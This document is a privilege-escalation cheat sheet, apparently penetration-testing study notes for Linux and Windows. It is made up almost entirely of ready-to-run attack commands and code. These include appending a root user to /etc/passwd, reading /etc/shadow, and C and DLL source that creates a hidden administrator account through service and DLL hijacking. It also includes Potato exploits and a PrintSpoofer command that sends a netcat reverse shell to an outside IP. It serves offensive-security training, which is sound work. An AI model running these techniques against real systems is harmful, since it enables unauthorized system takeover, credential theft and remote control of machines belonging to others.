# Privilege Escalation

## Linux

### Enumeration

```bash
# Manual Enumeration
# Information about the current user
id
whoami
# Information about users
cat /etc/passwd
# The hostname
hostname
# The version of the OS
cat /etc/issue
cat /etc/os-release
uname -a
# List of running processes
ps
# Full TCP/IP configuration
ip a
ifconfig
# Printing the routes
routel
route
# active network connections
ss -anp
ss -ntplu
netstat -ntlp
# Inspecting custom IP tables
cat /etc/iptables/rules.v4
# Listing all cron jobs
ls -lah /etc/cron*
# Cron jobs for the current user
crontab -l
# Installed packages on Debian
dpkg -l
# Listing all world writable directories
find / -writable -type d 2>/dev/null
# Listing content of /etc/fstab and all mounted drives
cat /etc/fstab
mount
# Available drives using lsblk
lsblk
# Listing loaded drivers
lsmod
# Additional information about a module
/sbin/modinfo libata

# Monitor linux processes
pspy64

# Automated Enumeration
./unix-privesc-check standard > output.txt
LinEnum.sh
linpeas.sh

# commands to PrivEsc
su - root
su root
sudo -i
sudo bash -p
```

### Exposed Confidential Information

```bash
# Inspecting User Trails
env
cat .bashrc
sudo -l
# Inspecting Service Footprints
watch -n 1 "ps -aux | grep -E 'root|pass'"
sudo tcpdump -i lo -A | grep -E "root|pass"
```

### Insecure File Permissions

<pre class="language-bash"><code class="lang-bash"># Abusing Cron Jobs
cat /var/log/cron.log
grep "CRON" /var/log/syslog
# Abusing Password Authentication
<strong>ls -la /etc/shadow ; cat /etc/shadow
</strong>ls -la /etc/passwd ; cat /etc/passwd
# Creat password hash of "Passw@rd" to edit /etc/passwd to add the user root2 
openssl passwd Passw@rd
echo "root2:$1$LRLHgfym$jlrbkdEKOHUWu1:0:0:root:/root:/bin/bash" >> /etc/passwd

# Insecure System Components
# Abusing Setuid Binaries and Capabilities
# Searching for SUID files
find / -perm -u=s -type f 2>/dev/null
# Manually Enumerating Capabilities looking for setuid
/usr/sbin/getcap -r / 2>/dev/null

# Exploiting Kernel Vulnerabilities
cat /etc/issue
uname -r
arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep  "4." | grep -v " &#x3C; 4.4.0" | grep -v "4.8"
</code></pre>

## Windows

```bash
# SID representation (RID = 1001)
S-R-X-Y
S-1-5-21-1336799502-1441772794-948155058-1001
# Well known SIDs
S-1-0-0                       Nobody        
S-1-1-0	                      Everybody
S-1-5-11                      Authenticated Users
S-1-5-18                      Local System
S-1-5-domainidentifier-500    Administrator
# Integrity Levels
- System integrity – Kernel-mode processes with SYSTEM privileges
- High integrity – Processes with administrative privileges
- Medium integrity – Processes running with standard user privileges
- Low integrity level – Restricted processes, often used for security [sandboxing], such as web browsers.
- Untrusted – The lowest integrity level, assigned to highly restricted processes that pose potential security risks
```

### Enumerating Windows

```powershell
# Information we should gather :
- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes

whoami
whoami /groups
Get-LocalUser OR net user
Get-LocalGroup OR net localgroup
# Display users info
net user <user>
# Display members of a group
Get-LocalGroupMember <group>
systeminfo
ipconfig /all
route print
netstat -ano

# List Installed 32-bit/64-bit Application
# PuTTY,
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# List Running processes
Get-Process
# Searching for password manager databases
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Searching for sensitive information in XAMPP directory
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
# Searching for text files and password manager databases
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
# Using Runas to execute cmd as another user
runas /user:htb_user cmd
# History
Get-History
(Get-PSReadlineOption).HistorySavePath

# Creating a new user and adding it to the administrators group
net user pwned Password123 /add
net user
net localgroup Administrators pwned /add
net localgroup Administrators

# Automated Enumeration
/usr/share/peass/winpeas/winPEASx64.exe
Seatbelt.exe -group=all -full
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
```

### Windows Services

#### Service Binary Hijacking

<pre class="language-powershell"><code class="lang-powershell"># List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Check Permissions of mysqld.exe
# icacls permissions : (F:Full access, M:Modify, RX:Read and execute, R:Read-only, W:Write-only)
icacls "C:\xampp\mysql\bin\mysqld.exe"
# If we have Full/Write Acces we can try to change the executable with another one
#include &#x3C;stdlib.h>
int main () 
{ int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0; }
# Compilation : x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
# restart the service
net stop mysql ; net start mysql
# We can try to reboot the machine if the service Startup Type is set to "Automatic"
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
<strong># Check if we have SeShutdownPrivilege priv
</strong><strong>whoami /priv
</strong>shutdown /r /t 0

# Automation
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'
</code></pre>

#### DLL Hijacking

```powershell
# Standard DLL search order
1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

# Enumerate installed applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# We can search online to see if any of the installed applications are vulnerable to DLL hijacking.
# Or Use Process Monitor to detect DLLs loaded by the application as well as missing ones (need admin priv)
# Tip : in procmon search for "NAME NOT FOUND" in result to find missing DLLs
```

{% code title="C++ DLL example  to add a user : TextShaping.cpp" %}
```c
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
// x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
```
{% endcode %}

#### Unquoted Service Paths

```bash
# How Windows will try to locate the service binary C:\Program Files\Current Version\GammaServ.exe
C:\Program.exe
C:\Program Files\Current.exe
C:\Program Files\Current Version\GammaServ.exe

# List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
# List of services with spaces and missing quotes in the binary path cmd.exe
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
# Reviewing permissions on the Enterprise Apps directory
icacls "C:\Program Files"
# Start/Stop service
Start-Service GammaService ; Stop-Service GammaService

# Automation
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Current.exe"
```

### Scheduled Tasks

<pre class="language-powershell"><code class="lang-powershell"><strong>1. As which user account (principal) does this task get executed?
</strong>2. What triggers are specified for the task?
3. What actions are executed when one or more of these triggers are met?
# List of all scheduled tasks
schtasks /query /fo LIST /v | Select-String "^(HostName|TaskName|Next Run Time|Status|Author|Task To Run|Scheduled Task State):" | ForEach-Object { $_.Line }
# if we have permission on the executable we can change it like we do in the Service Binary Hijacking
</code></pre>

### Using Exploits

```powershell
## Windows kernel exploits
# checking our current privileges
whoami /priv
# Enumerating the Windows version and security patches
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

# Abusing Windows privileges : SeImpersonatePrivilege, SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, SeDebug
# If we have SeImpersonatePrivilege
whoami /priv
.\SigmaPotato "net user pwned P@ssword123 /add"
.\SigmaPotato "net localgroup Administrators pwned /add"
.\PrintSpoofer64.exe -c "C:\windows\temp\tools\nc64.exe 10.10.10.10 443 -e cmd"

# Other Potatoes Priv Esc:
# https://jlajara.gitlab.io/Potatoes_Windows_Privesc
```

## Resources

```bash
# Linux
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html

# Windows
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html

# GTFOBins LOLBAS WADComs 
https://gtfobins.github.io
https://lolbas-project.github.io
https://wadcoms.github.io
```
